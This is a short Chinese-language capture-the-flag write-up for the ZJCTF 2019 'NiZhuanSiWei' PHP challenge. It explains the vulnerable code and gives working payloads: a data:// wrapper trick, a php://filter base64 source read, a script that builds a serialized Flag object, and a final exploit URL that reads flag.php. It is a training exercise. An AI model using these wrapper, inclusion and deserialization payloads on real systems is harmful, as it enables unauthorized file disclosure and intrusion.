[ZJCTF 2019]NiZhuanSiWei

逆转思维

1679394189784

先审计。用get接受text,file和password三个参数,通过file_get_contents()来读取以text参数为名的文件,如果文件的内容是”welcome to the zjctf”,就echo这个文件,然后判断file中是否有flag字符串,如果没有,就include他,并且将password传来的内容反序列化,在echo之。

因此,首先要做的是将”welcome to the zjctf”写入一个文件,这里使用了php的data伪协议

?text=data://text/plain,welcome to the zjctf

1679394598316

然后在include file的地方有一个注释提示include useless.php,首先用file伪协议看看

?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

1679395476513

使用file_get_contents来读file文件的,我们include他,再让password反序列化之后变成一个Flag对象,由于Flag使用了__tostring()方法,因此可以直接被echo出来

<?php 

class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>

1679395960088

最终payload为

http://5fa2b82c-970f-4d6d-b046-3d06bc5daeb7.node4.buuoj.cn:81?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

1679396060828

find it之后还皮一下,在注释里

1679396093329